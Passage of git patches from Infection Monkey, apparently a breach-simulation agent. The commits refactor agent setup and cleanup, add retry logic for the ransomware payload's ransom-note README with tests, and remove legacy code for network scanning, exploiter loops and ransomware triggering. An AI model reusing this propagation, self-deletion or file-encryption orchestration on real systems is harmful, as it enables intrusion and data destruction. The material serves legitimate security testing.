InfectionMonkey._is_monkey_alive_by_config(): + logger.error("Monkey marked 'not alive' from configuration.") + return + + if InfectionMonkey._is_upgrade_to_64_needed(): + self._upgrade_to_64() + return + + self._setup() + self._master.start() def legacy_start(self): if self._is_another_monkey_running(): @@ -193,8 +197,10 @@ class InfectionMonkey(object): def _setup(self): logger.debug("Starting the setup phase.") - # Create a dir for monkey files if there isn't one - create_monkey_dir() + if is_running_on_island(): + # TODO: Evaluate also this with ControlClient.should_monkey_run + # WormConfiguration.started_on_island = True + ControlClient.report_start_on_island() # TODO: Evaluate should we run this check # if not ControlClient.should_monkey_run(self._opts.vulnerable_port): @@ -202,14 +208,6 @@ class InfectionMonkey(object): # "(it will be exploited later with more depth).") # return False - # Singleton should handle sending this information - if is_windows_os(): - T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send() - - if is_running_on_island(): - WormConfiguration.started_on_island = True - ControlClient.report_start_on_island() - if firewall.is_enabled(): firewall.add_firewall_rule() @@ -220,9 +218,7 @@ class InfectionMonkey(object): StateTelem(is_done=False, version=get_version()).send() TunnelTelem().send() - register_signal_handlers(self.master) - - return True + register_signal_handlers(self._master) def _legacy_setup(self): logger.debug("Starting the setup phase.") @@ -239,23 +235,23 @@ class InfectionMonkey(object): ControlClient.wakeup(parent=self._parent) ControlClient.load_control_config() + if is_windows_os(): + T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send() + InfectionMonkey._legacy_shutdown_by_not_alive_config() self._legacy_upgrade_to_64_if_needed() + if is_running_on_island(): + WormConfiguration.started_on_island = True + ControlClient.report_start_on_island() + if not ControlClient.should_monkey_run(self._opts.vulnerable_port): raise PlannedShutdownException( "Monkey shouldn't run on current machine " "(it will be exploited later with more depth)." ) - if is_windows_os(): - T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send() - - if is_running_on_island(): - WormConfiguration.started_on_island = True - ControlClient.report_start_on_island() - if firewall.is_enabled(): firewall.add_firewall_rule() @@ -522,42 +518,43 @@ class InfectionMonkey(object): InfectionMonkey._send_log() self._singleton.unlock() - # self.master.terminate() - # self.master.cleanup() - InfectionMonkey._self_delete() logger.info("Monkey is shutting down") def cleanup(self): logger.info("Monkey cleanup started") - self._keep_running = False - if self._monkey_tunnel: - self._monkey_tunnel.stop() - self._monkey_tunnel.join() + try: + if self._is_upgrade_to_64_needed(): + logger.debug("Detected upgrade to 64bit") + return - if self._post_breach_phase: - self._post_breach_phase.join() + if self._master: + self._master.cleanup() - if firewall.is_enabled(): - firewall.remove_firewall_rule() - firewall.close() + if self._monkey_tunnel: + self._monkey_tunnel.stop() + self._monkey_tunnel.join() + + if firewall.is_enabled(): + firewall.remove_firewall_rule() + firewall.close() + + InfectionMonkey._self_delete() + + InfectionMonkey._send_log() - if self._upgrading_to_64: - InfectionMonkey._close_tunnel() - firewall.close() - else: StateTelem( is_done=True, version=get_version() ).send() # Signal the server (before closing the tunnel) + + # TODO: Determine how long between when we + # send telemetry and the monkey actually exits InfectionMonkey._close_tunnel() - firewall.close() - InfectionMonkey._send_log() self._singleton.unlock() + except Exception as e: + logger.error(f"An error occurred while cleaning up the monkey agent: {e}") + InfectionMonkey._self_delete() - self.master.terminate() - self.master.cleanup() - - InfectionMonkey._self_delete() logger.info("Monkey is shutting down") @staticmethod From bedc8d4f842687d60a9c4f7708c966f1262be53f Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 29 Nov 2021 18:11:06 +0530 Subject: [PATCH 0039/1110] Agent: Add cleanup logic for ransomware payload --- .../ransomware/ransomware_payload.py | 20 +++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index 60cdeff84..897d12913 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -1,4 +1,5 @@ import logging +import os from pathlib import Path from typing import Callable, List @@ -26,6 +27,8 @@ class RansomwarePayload: self._leave_readme = leave_readme self._telemetry_messenger = telemetry_messenger + self._readme_incomplete = False + def run_payload(self): if not self._config.target_directory: return @@ -37,7 +40,9 @@ class RansomwarePayload: self._encrypt_files(file_list) if self._config.readme_enabled: + self._readme_incomplete = True self._leave_readme(README_SRC, self._config.target_directory / README_FILE_NAME) + self._readme_incomplete = False def _find_files(self) -> List[Path]: logger.info(f"Collecting files in {self._config.target_directory}") @@ -58,3 +63,18 @@ class RansomwarePayload: def _send_telemetry(self, filepath: Path, success: bool, error: str): encryption_attempt = FileEncryptionTelem(str(filepath), success, error) self._telemetry_messenger.send_telemetry(encryption_attempt) + + def cleanup(self): + if self._readme_incomplete: + logger.info( + "README.txt file dropping was interrupted. Removing corrupt file and " + "trying again." + ) + try: + os.remove(self._config.target_directory / README_FILE_NAME) + self._leave_readme(README_SRC, self._config.target_directory / README_FILE_NAME) + except Exception as ex: + logger.info( + f"An exception occurred: {str(ex)}. README.txt file dropping was " + "unsuccessful." + ) From f87802678be80833d4e12d2e2a18f422597d8671 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 30 Nov 2021 10:03:02 -0500 Subject: [PATCH 0040/1110] Tests: Use default parameters in build_ransomware_payload() fixture This allows ransomware payloads with different mocks to be built on a per-test basis with minimal effort and maximal code reuse. --- .../ransomware/test_ransomware_payload.py | 31 ++++++++++--------- 1 file changed, 16 insertions(+), 15 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index 6c73cfb8d..0497e28c6 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -21,12 +21,17 @@ def ransomware_payload(build_ransomware_payload, ransomware_payload_config): def build_ransomware_payload( mock_file_encryptor, mock_file_selector, mock_leave_readme, telemetry_messenger_spy ): - def inner(config): + def inner( + config, + file_encryptor=mock_file_encryptor, + file_selector=mock_file_selector, + leave_readme=mock_leave_readme, + ): return RansomwarePayload( config, - mock_file_encryptor, - mock_file_selector, - mock_leave_readme, + file_encryptor, + file_selector, + leave_readme, telemetry_messenger_spy, ) @@ -121,19 +126,15 @@ def test_telemetry_success(ransomware_payload, telemetry_messenger_spy): def test_telemetry_failure( - monkeypatch, ransomware_payload_config, mock_leave_readme, telemetry_messenger_spy + build_ransomware_payload, ransomware_payload_config, telemetry_messenger_spy ): file_not_exists = "/file/not/exist" - ransomware_payload = RansomwarePayload( - ransomware_payload_config, - MagicMock( - side_effect=FileNotFoundError( - f"[Errno 2] No such file or directory: '{file_not_exists}'" - ) - ), - MagicMock(return_value=[PurePosixPath(file_not_exists)]), - mock_leave_readme, - telemetry_messenger_spy, + mfe = MagicMock( + side_effect=FileNotFoundError(f"[Errno 2] No such file or directory: '{file_not_exists}'") + ) + mfs = MagicMock(return_value=[PurePosixPath(file_not_exists)]) + ransomware_payload = build_ransomware_payload( + config=ransomware_payload_config, file_encryptor=mfe, file_selector=mfs ) ransomware_payload.run_payload() From 14c298e89ce8dbed1ffa1a749cb25e55c0ffb25a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 30 Nov 2021 10:42:12 -0500 Subject: [PATCH 0041/1110] Agent: Move exception handling from readme_dropper to ransomware_payload --- .../ransomware/ransomware_payload.py | 21 +++++++--- .../ransomware/readme_dropper.py | 10 +---- .../ransomware/test_ransomware_payload.py | 38 ++++++++++++++++++- 3 files changed, 53 insertions(+), 16 deletions(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index 897d12913..ef5a28289 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -1,5 +1,4 @@ import logging -import os from pathlib import Path from typing import Callable, List @@ -27,6 +26,10 @@ class RansomwarePayload: self._leave_readme = leave_readme self._telemetry_messenger = telemetry_messenger + self._target_directory = self._config.target_directory + self._readme_file_path = ( + self._target_directory / README_FILE_NAME if self._target_directory else None + ) self._readme_incomplete = False def run_payload(self): @@ -40,9 +43,7 @@ class RansomwarePayload: self._encrypt_files(file_list) if self._config.readme_enabled: - self._readme_incomplete = True - self._leave_readme(README_SRC, self._config.target_directory / README_FILE_NAME) - self._readme_incomplete = False + self._leave_readme_in_target_directory() def _find_files(self) -> List[Path]: logger.info(f"Collecting files in {self._config.target_directory}") @@ -64,6 +65,14 @@ class RansomwarePayload: encryption_attempt = FileEncryptionTelem(str(filepath), success, error) self._telemetry_messenger.send_telemetry(encryption_attempt) + def _leave_readme_in_target_directory(self): + try: + self._readme_incomplete = True + self._leave_readme(README_SRC, self._readme_file_path) + self._readme_incomplete = False + except Exception as ex: + logger.warning(f"An error occurred while attempting to leave a README.txt file: {ex}") + def cleanup(self): if self._readme_incomplete: logger.info( @@ -71,8 +80,8 @@ class RansomwarePayload: "trying again." ) try: - os.remove(self._config.target_directory / README_FILE_NAME) - self._leave_readme(README_SRC, self._config.target_directory / README_FILE_NAME) + self._readme_file_path.unlink() + self._leave_readme_in_target_directory() except Exception as ex: logger.info( f"An exception occurred: {str(ex)}. README.txt file dropping was " diff --git a/monkey/infection_monkey/ransomware/readme_dropper.py b/monkey/infection_monkey/ransomware/readme_dropper.py index 12a171c5b..253c5e574 100644 --- a/monkey/infection_monkey/ransomware/readme_dropper.py +++ b/monkey/infection_monkey/ransomware/readme_dropper.py @@ -10,13 +10,5 @@ def leave_readme(src: Path, dest: Path): logger.warning(f"{dest} already exists, not leaving a new README.txt") return - _copy_readme_file(src, dest) - - -def _copy_readme_file(src: Path, dest: Path): logger.info(f"Leaving a ransomware README file at {dest}") - - try: - shutil.copyfile(src, dest) - except Exception as ex: - logger.warning(f"An error occurred while attempting to leave a README.txt file: {ex}") + shutil.copyfile(src, dest) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index 0497e28c6..09a330553 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -1,4 +1,4 @@ -from pathlib import PurePosixPath +from pathlib import Path, PurePosixPath from unittest.mock import MagicMock import pytest @@ -173,3 +173,39 @@ def test_no_readme_if_no_directory( ransomware_payload.run_payload() mock_leave_readme.assert_not_called() + + +def test_leave_readme_exceptions_handled(build_ransomware_payload, ransomware_payload_config): + leave_readme = MagicMock(side_effect=Exception("Test exception when leaving README")) + ransomware_payload_config.readme_enabled = True + ransomware_payload = build_ransomware_payload( + config=ransomware_payload_config, leave_readme=leave_readme + ) + + # Test will fail if exception is raised and not handled + ransomware_payload.run_payload() + ransomware_payload.cleanup() + + +def test_cleanup_incomplete_readme(build_ransomware_payload, ransomware_payload_config): + def leave_readme(_: Path, dest: Path): + if leave_readme.i == 0: + dest.touch() + + leave_readme.i += 1 + + raise Exception("Test exception when leaving README") + + leave_readme.i = 0 + + ransomware_payload_config.readme_enabled = True + ransomware_payload = build_ransomware_payload( + config=ransomware_payload_config, leave_readme=leave_readme + ) + + ransomware_payload.run_payload() + assert (ransomware_payload_config.target_directory / README_FILE_NAME).exists() + + ransomware_payload.cleanup() + assert not (ransomware_payload_config.target_directory / README_FILE_NAME).exists() + assert leave_readme.i == 2 From 62a6b09e006a3060d4cd93e0286beb31f38d6cfd Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 30 Nov 2021 10:59:18 -0500 Subject: [PATCH 0042/1110] Agent: Use `self._target_directory` in RansomwarePayload --- monkey/infection_monkey/ransomware/ransomware_payload.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index ef5a28289..afa4ffe25 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -33,7 +33,7 @@ class RansomwarePayload: self._readme_incomplete = False def run_payload(self): - if not self._config.target_directory: + if not self._target_directory: return logger.info("Running ransomware payload") @@ -46,11 +46,11 @@ class RansomwarePayload: self._leave_readme_in_target_directory() def _find_files(self) -> List[Path]: - logger.info(f"Collecting files in {self._config.target_directory}") - return sorted(self._select_files(self._config.target_directory)) + logger.info(f"Collecting files in {self._target_directory}") + return sorted(self._select_files(self._target_directory)) def _encrypt_files(self, file_list: List[Path]): - logger.info(f"Encrypting files in {self._config.target_directory}") + logger.info(f"Encrypting files in {self._target_directory}") for filepath in file_list: try: From 789a6691c13425257782d60fac3a4eeb72dceead Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 30 Nov 2021 11:34:45 -0500 Subject: [PATCH 0043/1110] Agent: Improve log messages in RansomwarePayload.cleanup() --- .../infection_monkey/ransomware/ransomware_payload.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index afa4ffe25..86c7cd9ba 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -76,14 +76,14 @@ class RansomwarePayload: def cleanup(self): if self._readme_incomplete: logger.info( - "README.txt file dropping was interrupted. Removing corrupt file and " - "trying again." + "The process of leaving a README.txt was interrupted. Removing the corrupt file " + "and trying again." ) try: self._readme_file_path.unlink() self._leave_readme_in_target_directory() except Exception as ex: - logger.info( - f"An exception occurred: {str(ex)}. README.txt file dropping was " - "unsuccessful." + logger.error( + "An error occurred while trying to remove the corrupt or incomplete README.txt " + f"file: {ex}" ) From a5fc0bc3936bba5f8a3e58b60327f374ea32f0c1 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 30 Nov 2021 11:35:04 -0500 Subject: [PATCH 0044/1110] Agent: Change readme if condition in RansomwarePayload.cleanup() If the _readme_incomplete flag is set but no readme file has been left in the target directory, do not leave a new readme file. This can happen if the thread is forcefully killed between the time when the flag is set and the file is first created. The cleanup function is only concerned with cleaning up incomplete files, not ensuring the existence of the file under all circumstances. --- monkey/infection_monkey/ransomware/ransomware_payload.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index 86c7cd9ba..ff2a89d64 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -74,7 +74,10 @@ class RansomwarePayload: logger.warning(f"An error occurred while attempting to leave a README.txt file: {ex}") def cleanup(self): - if self._readme_incomplete: + # This cleanup function is only concerned with cleaning up and replacing *incomplete* + # README.txt files; its goal is not to ensure the existence of a README file. Therefore, + # only retry if a README.txt file actually exists. + if self._readme_incomplete and self._readme_file_path.exists(): logger.info( "The process of leaving a README.txt was interrupted. Removing the corrupt file " "and trying again." From 89436a4cd9d89355ccf685371ed1f3e57c14c63d Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 1 Dec 2021 12:11:38 +0200 Subject: [PATCH 0045/1110] Agent: remove behavioral methods from monkey.py and leave only setup/teardown related code Behavior is handled by master, monkey.py should only setup/teardown the agent --- monkey/infection_monkey/monkey.py | 381 +----------------- .../exceptions/planned_shutdown_exception.py | 2 - 2 files changed, 21 insertions(+), 362 deletions(-) delete mode 100644 monkey/infection_monkey/utils/exceptions/planned_shutdown_exception.py diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index bfbf270dc..9b36ba59e 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -3,77 +3,53 @@ import logging import os import subprocess import sys -import time -from threading import Thread import infection_monkey.tunnel as tunnel from common.utils.attack_utils import ScanStatus, UsageEnum -from common.utils.exceptions import ExploitingVulnerableMachineError, FailedExploitationError from common.version import get_version from infection_monkey.config import WormConfiguration from infection_monkey.control import ControlClient -from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.master.mock_master import MockMaster from infection_monkey.model import DELAY_DELETE_CMD from infection_monkey.network.firewall import app as firewall -from infection_monkey.network.HostFinger import HostFinger -from infection_monkey.network.network_scanner import NetworkScanner -from infection_monkey.network.tools import get_interface_to_target, is_running_on_island -from infection_monkey.post_breach.post_breach_handler import PostBreach +from infection_monkey.network.tools import is_running_on_island from infection_monkey.puppet.mock_puppet import MockPuppet -from infection_monkey.ransomware.ransomware_payload_builder import build_ransomware_payload -from infection_monkey.system_info import SystemInfoCollector from infection_monkey.system_singleton import SystemSingleton from infection_monkey.telemetry.attack.t1106_telem import T1106Telem from infection_monkey.telemetry.attack.t1107_telem import T1107Telem -from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem from infection_monkey.telemetry.messengers.legacy_telemetry_messenger_adapter import ( LegacyTelemetryMessengerAdapter, ) -from infection_monkey.telemetry.scan_telem import ScanTelem from infection_monkey.telemetry.state_telem import StateTelem -from infection_monkey.telemetry.system_info_telem import SystemInfoTelem -from infection_monkey.telemetry.trace_telem import TraceTelem from infection_monkey.telemetry.tunnel_telem import TunnelTelem from infection_monkey.utils.environment import is_windows_os -from infection_monkey.utils.exceptions.planned_shutdown_exception import PlannedShutdownException -from infection_monkey.utils.monkey_dir import ( - create_monkey_dir, - get_monkey_dir_path, - remove_monkey_dir, -) +from infection_monkey.utils.monkey_dir import get_monkey_dir_path, remove_monkey_dir from infection_monkey.utils.monkey_log_path import get_monkey_log_path from infection_monkey.utils.signal_handler import register_signal_handlers from infection_monkey.windows_upgrader import WindowsUpgrader -MAX_DEPTH_REACHED_MESSAGE = "Reached max depth, skipping propagation phase." - - logger = logging.getLogger(__name__) -class InfectionMonkey(object): +class PlannedShutdownError(Exception): + # Raise when we deliberately want to shut down the agent + pass + + +class InfectionMonkey: def __init__(self, args): logger.info("Monkey is initializing...") self._master = MockMaster(MockPuppet(), LegacyTelemetryMessengerAdapter()) - self._keep_running = False - self._exploited_machines = set() - self._fail_exploitation_machines = set() self._singleton = SystemSingleton() self._opts = None self._set_arguments(args) self._parent = self._opts.parent self._default_tunnel = self._opts.tunnel self._default_server = self._opts.server + self._default_server_port = None self._set_propagation_depth() self._add_default_server_to_config() - self._network = NetworkScanner() - self._exploiters = None - self._fingerprint = None - self._default_server_port = None - self._upgrading_to_64 = False self._monkey_tunnel = None - self._post_breach_phase = None def _set_arguments(self, args): arg_parser = argparse.ArgumentParser() @@ -108,8 +84,7 @@ class InfectionMonkey(object): def start(self): if self._is_another_monkey_running(): - logger.info("Another instance of the monkey is already running") - return + raise PlannedShutdownError("Another instance of the monkey is already running.") logger.info("Monkey is starting...") @@ -120,35 +95,15 @@ class InfectionMonkey(object): T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send() if InfectionMonkey._is_monkey_alive_by_config(): - logger.error("Monkey marked 'not alive' from configuration.") - return + raise PlannedShutdownError("Monkey marked 'not alive' from configuration.") if InfectionMonkey._is_upgrade_to_64_needed(): self._upgrade_to_64() - return + raise PlannedShutdownError("32 bit Agent can't run on 64 bit system.") self._setup() self._master.start() - def legacy_start(self): - if self._is_another_monkey_running(): - raise Exception("Another instance of the monkey is already running") - try: - logger.info("Monkey is starting...") - - self._legacy_setup() - - self._start_post_breach_async() - - self._start_propagation() - - except PlannedShutdownException: - logger.info( - "A planned shutdown of the Monkey occurred. Logging the reason and finishing " - "execution." - ) - logger.exception("Planned shutdown, reason:") - def _connect_to_island(self): # Sets island's IP and port for monkey to communicate to if not self._is_default_server_set(): @@ -180,33 +135,15 @@ class InfectionMonkey(object): return WindowsUpgrader.should_upgrade() def _upgrade_to_64(self): - self._upgrading_to_64 = True self._singleton.unlock() logger.info("32bit monkey running on 64bit Windows. Upgrading.") WindowsUpgrader.upgrade(self._opts) logger.info("Finished upgrading from 32bit to 64bit.") - def _legacy_upgrade_to_64_if_needed(self): - if WindowsUpgrader.should_upgrade(): - self._upgrading_to_64 = True - self._singleton.unlock() - logger.info("32bit monkey running on 64bit Windows. Upgrading.") - WindowsUpgrader.upgrade(self._opts) - raise PlannedShutdownException("Finished upgrading from 32bit to 64bit.") - def _setup(self): logger.debug("Starting the setup phase.") - if is_running_on_island(): - # TODO: Evaluate also this with ControlClient.should_monkey_run - # WormConfiguration.started_on_island = True - ControlClient.report_start_on_island() - - # TODO: Evaluate should we run this check - # if not ControlClient.should_monkey_run(self._opts.vulnerable_port): - # logger.error("Monkey shouldn't run on current machine " - # "(it will be exploited later with more depth).") - # return False + self._should_run_check_for_performance() if firewall.is_enabled(): firewall.add_firewall_rule() @@ -220,307 +157,31 @@ class InfectionMonkey(object): register_signal_handlers(self._master) - def _legacy_setup(self): - logger.debug("Starting the setup phase.") - - self._keep_running = True - - # Create a dir for monkey files if there isn't one - create_monkey_dir() - - # Sets island's IP and port for monkey to communicate to - self._legacy_set_default_server() - self._set_default_port() - - ControlClient.wakeup(parent=self._parent) - ControlClient.load_control_config() - - if is_windows_os(): - T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send() - - InfectionMonkey._legacy_shutdown_by_not_alive_config() - - self._legacy_upgrade_to_64_if_needed() - + def _should_run_check_for_performance(self): + """ + This method implements propagation performance enhancing algorithm that + kicks in if the run was started from the Island. + Should get replaced by other, better performance enhancement solutions + """ if is_running_on_island(): WormConfiguration.started_on_island = True ControlClient.report_start_on_island() if not ControlClient.should_monkey_run(self._opts.vulnerable_port): - raise PlannedShutdownException( - "Monkey shouldn't run on current machine " + raise PlannedShutdownError( + "Monkey shouldn't run on current machine to improve perfomance" "(it will be exploited later with more depth)." ) - if firewall.is_enabled(): - firewall.add_firewall_rule() - - self._monkey_tunnel = ControlClient.create_control_tunnel() - if self._monkey_tunnel: - self._monkey_tunnel.start() - - StateTelem(is_done=False, version=get_version()).send() - TunnelTelem().send() - def _is_another_monkey_running(self): return not self._singleton.try_lock() - def _legacy_set_default_server(self): - """ - Sets the default server for the Monkey to communicate back to. - :raises PlannedShutdownException if couldn't find the server. - """ - if not ControlClient.find_server(default_tunnel=self._default_tunnel): - raise PlannedShutdownException( - "Monkey couldn't find server with {} default tunnel.".format(self._default_tunnel) - ) - self._default_server = WormConfiguration.current_server - logger.debug("default server set to: %s" % self._default_server) - def _set_default_port(self): try: self._default_server_port = self._default_server.split(":")[1] except KeyError: self._default_server_port = "" - @staticmethod - def _legacy_shutdown_by_not_alive_config(): - if not WormConfiguration.alive: - raise PlannedShutdownException("Marked 'not alive' from configuration.") - - def _start_post_breach_async(self): - logger.debug("Starting the post-breach phase asynchronously.") - self._post_breach_phase = Thread(target=InfectionMonkey._start_post_breach_phase) - self._post_breach_phase.start() - - @staticmethod - def _start_post_breach_phase(): - InfectionMonkey._collect_system_info_if_configured() - PostBreach().execute_all_configured() - - @staticmethod - def _collect_system_info_if_configured(): - logger.debug("Calling for system info collection") - try: - system_info_collector = SystemInfoCollector() - system_info = system_info_collector.get_info() - SystemInfoTelem(system_info).send() - except Exception as e: - logger.exception(f"Exception encountered during system info collection: {str(e)}") - - def _start_propagation(self): - if not InfectionMonkey._max_propagation_depth_reached(): - logger.info("Starting the propagation phase.") - logger.debug("Running with depth: %d" % WormConfiguration.depth) - self._propagate() - else: - logger.info("Maximum propagation depth has been reached; monkey will not propagate.") - TraceTelem(MAX_DEPTH_REACHED_MESSAGE).send() - - if self._keep_running and WormConfiguration.alive: - InfectionMonkey._run_ransomware() - - # if host was exploited, before continue to closing the tunnel ensure the exploited - # host had its chance to connect to the tunnel - if len(self._exploited_machines) > 0: - time_to_sleep = WormConfiguration.keep_tunnel_open_time - logger.info( - "Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep - ) - time.sleep(time_to_sleep) - - @staticmethod - def _max_propagation_depth_reached(): - return 0 == WormConfiguration.depth - - def _propagate(self): - ControlClient.keepalive() - ControlClient.load_control_config() - - self._network.initialize() - - self._fingerprint = HostFinger.get_instances() - - self._exploiters = HostExploiter.get_classes() - - if not WormConfiguration.alive: - logger.info("Marked not alive from configuration") - - machines = self._network.get_victim_machines( - max_find=WormConfiguration.victims_max_find, - stop_callback=ControlClient.check_for_stop, - ) - for machine in machines: - if ControlClient.check_for_stop(): - break - - for finger in self._fingerprint: - logger.info( - "Trying to get OS fingerprint from %r with module %s", - machine, - finger.__class__.__name__, - ) - try: - finger.get_host_fingerprint(machine) - except BaseException as exc: - logger.error( - "Failed to run fingerprinter %s, exception %s" % finger.__class__.__name__, - str(exc), - ) - - ScanTelem(machine).send() - - # skip machines that we've already exploited - if machine in self._exploited_machines: - logger.debug("Skipping %r - already exploited", machine) - continue - - if self._monkey_tunnel: - self._monkey_tunnel.set_tunnel_for_host(machine) - if self._default_server: - if self._network.on_island(self._default_server): - machine.set_default_server( - get_interface_to_target(machine.ip_addr) - + (":" + self._default_server_port if self._default_server_port else "") - ) - else: - machine.set_default_server(self._default_server) - logger.debug( - "Default server for machine: %r set to %s" % (machine, machine.default_server) - ) - - # Order exploits according to their type - self._exploiters = sorted( - self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value - ) - host_exploited = False - for exploiter in [exploiter(machine) for exploiter in self._exploiters]: - if self._try_exploiting(machine, exploiter): - host_exploited = True - VictimHostTelem("T1210", ScanStatus.USED, machine=machine).send() - if exploiter.RUNS_AGENT_ON_SUCCESS: - break # if adding machine to exploited, won't try other exploits - # on it - if not host_exploited: - self._fail_exploitation_machines.add(machine) - VictimHostTelem("T1210", ScanStatus.SCANNED, machine=machine).send() - if not self._keep_running: - break - - if not WormConfiguration.alive: - logger.info("Marked not alive from configuration") - - def _try_exploiting(self, machine, exploiter): - """ - Workflow of exploiting one machine with one exploiter - :param machine: Machine monkey tries to exploit - :param exploiter: Exploiter to use on that machine - :return: True if successfully exploited, False otherwise - """ - if not exploiter.is_os_supported(): - logger.info( - "Skipping exploiter %s host:%r, os %s is not supported", - exploiter.__class__.__name__, - machine, - machine.os, - ) - return False - - logger.info( - "Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__ - ) - - result = False - try: - result = exploiter.exploit_host() - if result: - self._successfully_exploited(machine, exploiter, exploiter.RUNS_AGENT_ON_SUCCESS) - return True - else: - logger.info( - "Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__ - ) - except ExploitingVulnerableMachineError as exc: - logger.error( - "Exception while attacking %s using %s: %s", - machine, - exploiter.__class__.__name__, - exc, - ) - self._successfully_exploited(machine, exploiter, exploiter.RUNS_AGENT_ON_SUCCESS) - return True - except FailedExploitationError as e: - logger.info( - "Failed exploiting %r with exploiter %s, %s", - machine, - exploiter.__class__.__name__, - e, - ) - except Exception as exc: - logger.exception( - "Exception while attacking %s using %s: %s", - machine, - exploiter.__class__.__name__, - exc, - ) - finally: - exploiter.send_exploit_telemetry(exploiter.__class__.__name__, result) - return False - - def _successfully_exploited(self, machine, exploiter, RUNS_AGENT_ON_SUCCESS=True): - """ - Workflow of registering successfully exploited machine - :param machine: machine that was exploited - :param exploiter: exploiter that succeeded - """ - if RUNS_AGENT_ON_SUCCESS: - self._exploited_machines.add(machine) - - logger.info("Successfully propagated to %s using %s", machine, exploiter.__class__.__name__) - - # check if max-exploitation limit is reached - if WormConfiguration.victims_max_exploit <= len(self._exploited_machines): - self._keep_running = False - - logger.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit) - - @staticmethod - def _run_ransomware(): - try: - ransomware_payload = build_ransomware_payload(WormConfiguration.ransomware) - ransomware_payload.run_payload() - except Exception as ex: - logger.error(f"An unexpected error occurred while running the ransomware payload: {ex}") - - def legacy_cleanup(self): - logger.info("Monkey cleanup started") - self._keep_running = False - if self._monkey_tunnel: - self._monkey_tunnel.stop() - self._monkey_tunnel.join() - - if self._post_breach_phase: - self._post_breach_phase.join() - - if firewall.is_enabled(): - firewall.remove_firewall_rule() - firewall.close() - - if self._upgrading_to_64: - InfectionMonkey._close_tunnel() - firewall.close() - else: - StateTelem( - is_done=True, version=get_version() - ).send() # Signal the server (before closing the tunnel) - InfectionMonkey._close_tunnel() - firewall.close() - InfectionMonkey._send_log() - self._singleton.unlock() - - InfectionMonkey._self_delete() - logger.info("Monkey is shutting down") - def cleanup(self): logger.info("Monkey cleanup started") try: diff --git a/monkey/infection_monkey/utils/exceptions/planned_shutdown_exception.py b/monkey/infection_monkey/utils/exceptions/planned_shutdown_exception.py deleted file mode 100644 index f0147e1e5..000000000 --- a/monkey/infection_monkey/utils/exceptions/planned_shutdown_exception.py +++ /dev/null @@ -1,2 +0,0 @@ -class PlannedShutdownException(Exception): - pass From 0806afed1ad6bfb7d4b451a1c9cf67bb4272b270 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 1 Dec 2021 12:49:11 +0200 Subject: [PATCH 0046/1110] Agent: rename PlannedShutdownException to PlannedShutdownError This will stay consistent with python and our own codebase --- monkey/infection_monkey/monkey.py | 1 + .../utils/exceptions/planned_shutdown_error.py | 2 ++ monkey/infection_monkey/utils/signal_handler.py | 4 ++-- 3 files changed, 5 insertions(+), 2 deletions(-) create mode 100644 monkey/infection_monkey/utils/exceptions/planned_shutdown_error.py diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 9b36ba59e..294381696 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -23,6 +23,7 @@ from 